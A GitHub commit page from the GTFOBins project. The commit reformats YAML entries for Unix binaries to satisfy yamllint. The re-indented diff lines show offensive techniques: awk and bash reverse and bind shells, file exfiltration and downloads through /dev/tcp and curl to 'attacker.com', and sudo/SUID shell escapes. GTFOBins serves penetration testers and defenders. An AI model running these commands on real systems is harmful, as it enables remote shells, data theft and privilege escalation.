Skip to content

Commit e1cd3ae

Browse files
committed
Fix YAMLs according to YAMLlint
1 parent 785126e commit e1cd3ae

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

87 files changed

+996
-1061
lines changed

.yamllint

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
extends: default
2+
rules:
3+
line-length: disable

Makefile

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
.PHONY: serve serve-public bundle
1+
.PHONY: serve serve-public bundle lint
22

33
serve:
44
bundle exec jekyll serve
@@ -8,3 +8,6 @@ serve-public:
88

99
bundle:
1010
bundle install
11+
12+
lint:
13+
yamllint . _gtfobins/*.md

_config.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
---
12
title: GTFOBins
23

34
exclude: ['/Gemfile', '/Makefile', '/README.md', '/CONTRIBUTING.md']

_data/functions.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
---
12
execute-interactive:
23
label: Interactive execute
34
description: |

_gtfobins/ash.md

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
---
22
functions:
33
execute-interactive:
4-
- code: ash
4+
- code: ash
55
file-write:
6-
- code: |
7-
export LFILE=file_to_write
8-
ash -c 'echo data > $LFILE'
6+
- code: |
7+
export LFILE=file_to_write
8+
ash -c 'echo data > $LFILE'
99
suid-enabled:
10-
- code: "./ash"
10+
- code: "./ash"
1111
sudo-enabled:
12-
- code: sudo ash
12+
- code: sudo ash
1313
---

_gtfobins/awk.md

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,34 +1,34 @@
11
---
22
functions:
33
execute-interactive:
4-
- code: awk 'BEGIN {system("/bin/sh")}'
4+
- code: awk 'BEGIN {system("/bin/sh")}'
55
reverse-shell-non-interactive:
6-
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
7-
code: |
8-
RHOST=attacker.com
9-
RPORT=12345
10-
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
11-
s = "/inet/tcp/0/" RHOST "/" RPORT;
12-
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
13-
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
6+
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
7+
code: |
8+
RHOST=attacker.com
9+
RPORT=12345
10+
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
11+
s = "/inet/tcp/0/" RHOST "/" RPORT;
12+
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
13+
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
1414
bind-shell-non-interactive:
15-
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
16-
code: |
17-
LPORT=12345
18-
awk -v LPORT=$LPORT 'BEGIN {
19-
s = "/inet/tcp/" LPORT "/0/0";
20-
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
21-
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
15+
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
16+
code: |
17+
LPORT=12345
18+
awk -v LPORT=$LPORT 'BEGIN {
19+
s = "/inet/tcp/" LPORT "/0/0";
20+
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
21+
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
2222
file-write:
23-
- code: |
24-
LFILE=file_to_write
25-
awk -v LFILE=$LFILE 'BEGIN { print "data" > LFILE }'
23+
- code: |
24+
LFILE=file_to_write
25+
awk -v LFILE=$LFILE 'BEGIN { print "data" > LFILE }'
2626
file-read:
27-
- code: |
28-
LFILE=file_to_read
29-
awk '//' "$LFILE"
27+
- code: |
28+
LFILE=file_to_read
29+
awk '//' "$LFILE"
3030
sudo-enabled:
31-
- code: sudo awk 'BEGIN {system("/bin/sh")}'
31+
- code: sudo awk 'BEGIN {system("/bin/sh")}'
3232
suid-limited:
33-
- code: ./awk 'BEGIN {system("/bin/sh")}'
33+
- code: ./awk 'BEGIN {system("/bin/sh")}'
3434
---

_gtfobins/base64.md

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,15 @@
11
---
22
functions:
33
file-read:
4-
- code: |
5-
LFILE=file_to_read
6-
base64 "$LFILE" | base64 --decode
4+
- code: |
5+
LFILE=file_to_read
6+
base64 "$LFILE" | base64 --decode
77
suid-enabled:
8-
- code: |
9-
LFILE=file_to_read
10-
./base64 "$LFILE" | base64 --decode
8+
- code: |
9+
LFILE=file_to_read
10+
./base64 "$LFILE" | base64 --decode
1111
sudo-enabled:
12-
- code: |
13-
LFILE=file_to_read
14-
sudo base64 "$LFILE" | base64 --decode
12+
- code: |
13+
LFILE=file_to_read
14+
sudo base64 "$LFILE" | base64 --decode
1515
---

_gtfobins/bash.md

Lines changed: 41 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -1,55 +1,52 @@
11
---
22
functions:
33
execute-interactive:
4-
- code: bash
4+
- code: bash
55
reverse-shell-interactive:
6-
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
7-
code: |
8-
export RHOST=attacker.com
9-
export RPORT=12345
10-
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
6+
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
7+
code: |
8+
export RHOST=attacker.com
9+
export RPORT=12345
10+
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
1111
upload:
12-
- description: Send local file in the body of an HTTP POST request. Run an HTTP
13-
service on the attacker box to collect the file.
14-
code: |
15-
export RHOST=attacker.com
16-
export RPORT=12345
17-
export LFILE=file_to_send
18-
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
19-
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"`
20-
on the attacker box to collect the file.
21-
code: |
22-
export RHOST=attacker.com
23-
export RPORT=12345
24-
export LFILE=file_to_send
25-
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
12+
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
13+
code: |
14+
export RHOST=attacker.com
15+
export RPORT=12345
16+
export LFILE=file_to_send
17+
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
18+
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
19+
code: |
20+
export RHOST=attacker.com
21+
export RPORT=12345
22+
export LFILE=file_to_send
23+
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
2624
download:
27-
- description: Fetch a remote file via HTTP GET request.
28-
code: |
29-
export RHOST=attacker.com
30-
export RPORT=12345
31-
export LFILE=file_to_get
32-
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
33-
3<>/dev/tcp/$RHOST/$RPORT \
34-
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
35-
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"`
36-
on the attacker box to send the file.
37-
code: |
38-
export RHOST=attacker.com
39-
export RPORT=12345
40-
export LFILE=file_to_get
41-
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
25+
- description: Fetch a remote file via HTTP GET request.
26+
code: |
27+
export RHOST=attacker.com
28+
export RPORT=12345
29+
export LFILE=file_to_get
30+
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
31+
3<>/dev/tcp/$RHOST/$RPORT \
32+
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
33+
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
34+
code: |
35+
export RHOST=attacker.com
36+
export RPORT=12345
37+
export LFILE=file_to_get
38+
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
4239
file-write:
43-
- code: |
44-
export LFILE=file_to_write
45-
bash -c 'echo data > $LFILE'
40+
- code: |
41+
export LFILE=file_to_write
42+
bash -c 'echo data > $LFILE'
4643
file-read:
47-
- description: It trims trailing newlines and it's not binary-safe.
48-
code: |
49-
export LFILE=file_to_read
50-
bash -c 'echo "$(<$LFILE)"'
44+
- description: It trims trailing newlines and it's not binary-safe.
45+
code: |
46+
export LFILE=file_to_read
47+
bash -c 'echo "$(<$LFILE)"'
5148
suid-enabled:
52-
- code: "./bash -p"
49+
- code: "./bash -p"
5350
sudo-enabled:
54-
- code: sudo bash
51+
- code: sudo bash
5552
---

_gtfobins/busybox.md

Lines changed: 15 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,27 +1,25 @@
11
---
2-
description: |
3-
BusyBox may contain many UNIX utilities, run `busybox --list-full` to check
2+
description: BusyBox may contain many UNIX utilities, run `busybox --list-full` to check
43
what GTFBins binaries are supported. Here some example.
54
functions:
65
execute-interactive:
7-
- code: busybox sh
6+
- code: busybox sh
87
upload:
9-
- description: Serve files in the local folder running an HTTP server.
10-
code: |
11-
export LPORT=12345
12-
busybox httpd -f -p $LPORT -h .
8+
- description: Serve files in the local folder running an HTTP server.
9+
code: |
10+
export LPORT=12345
11+
busybox httpd -f -p $LPORT -h .
1312
file-write:
14-
- code: |
15-
LFILE=file_to_write
16-
busybox sh -c 'echo "data" > $LFILE'
13+
- code: |
14+
LFILE=file_to_write
15+
busybox sh -c 'echo "data" > $LFILE'
1716
file-read:
18-
- code: |
19-
LFILE=file_to_read
20-
./busybox cat "$LFILE"
17+
- code: |
18+
LFILE=file_to_read
19+
./busybox cat "$LFILE"
2120
suid-enabled:
22-
- description: It may drop the SUID privileges depending on the compilation flags
23-
and the runtime configuration.
24-
code: "./busybox sh"
21+
- description: It may drop the SUID privileges depending on the compilation flags and the runtime configuration.
22+
code: "./busybox sh"
2523
sudo-enabled:
26-
- code: sudo busybox sh
24+
- code: sudo busybox sh
2725
---

_gtfobins/cat.md

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,15 @@
11
---
22
functions:
33
file-read:
4-
- code: |
5-
LFILE=file_to_read
6-
cat "$LFILE"
4+
- code: |
5+
LFILE=file_to_read
6+
cat "$LFILE"
77
suid-enabled:
8-
- code: |
9-
LFILE=file_to_read
10-
./cat "$LFILE"
8+
- code: |
9+
LFILE=file_to_read
10+
./cat "$LFILE"
1111
sudo-enabled:
12-
- code: |
13-
LFILE=file_to_read
14-
sudo cat "$LFILE"
12+
- code: |
13+
LFILE=file_to_read
14+
sudo cat "$LFILE"
1515
---

_gtfobins/crontab.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
---
22
functions:
33
execute-non-interactive:
4-
- description: The commands are executed according to the crontab file edited via the `crontab` utility.
5-
code: crontab -e
4+
- description: The commands are executed according to the crontab file edited via the `crontab` utility.
5+
code: crontab -e
66
sudo-enabled:
7-
- description: The commands are executed according to the crontab file edited via the `crontab` utility.
8-
code: sudo crontab -e
7+
- description: The commands are executed according to the crontab file edited via the `crontab` utility.
8+
code: sudo crontab -e
99
---

_gtfobins/csh.md

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
---
22
functions:
33
execute-interactive:
4-
- code: csh
4+
- code: csh
55
file-write:
6-
- code: |
7-
export LFILE=file_to_write
8-
ash -c 'echo data > $LFILE'
6+
- code: |
7+
export LFILE=file_to_write
8+
ash -c 'echo data > $LFILE'
99
suid-enabled:
10-
- code: "./csh -b"
10+
- code: "./csh -b"
1111
sudo-enabled:
12-
- code: sudo csh
12+
- code: sudo csh
1313
---

_gtfobins/curl.md

Lines changed: 14 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,20 @@
11
---
22
functions:
33
upload:
4-
- description: Send local file with an HTTP POST request. Run an HTTP service on
5-
the attacker box to collect the file.
6-
code: |
7-
URL=http://attacker.com/
8-
LFILE=file_to_send
9-
curl -X POST -d @$file_to_send $URL
4+
- description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
5+
code: |
6+
URL=http://attacker.com/
7+
LFILE=file_to_send
8+
curl -X POST -d @$file_to_send $URL
109
download:
11-
- description: Fetch a remote file via HTTP GET request.
12-
code: |
13-
URL=http://attacker.com/file_to_get
14-
LFILE=file_to_save
15-
curl $URL -o $LFILE
10+
- description: Fetch a remote file via HTTP GET request.
11+
code: |
12+
URL=http://attacker.com/file_to_get
13+
LFILE=file_to_save
14+
curl $URL -o $LFILE
1615
file-read:
17-
- description: The file path must be absolute.
18-
code: |
19-
LFILE=/tmp/file_to_read
20-
curl file://$LFILE
16+
- description: The file path must be absolute.
17+
code: |
18+
LFILE=/tmp/file_to_read
19+
curl file://$LFILE
2120
---

_gtfobins/cut.md

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,15 @@
11
---
22
functions:
33
file-read:
4-
- code: |
5-
LFILE=file_to_read
6-
cut -d "" -f1 "$LFILE"
4+
- code: |
5+
LFILE=file_to_read
6+
cut -d "" -f1 "$LFILE"
77
suid-enabled:
8-
- code: |
9-
LFILE=file_to_read
10-
./cut -d "" -f1 "$LFILE"
8+
- code: |
9+
LFILE=file_to_read
10+
./cut -d "" -f1 "$LFILE"
1111
sudo-enabled:
12-
- code: |
13-
LFILE=file_to_read
14-
sudo cut -d "" -f1 "$LFILE"
12+
- code: |
13+
LFILE=file_to_read
14+
sudo cut -d "" -f1 "$LFILE"
1515
---

0 commit comments

Comments
 (0)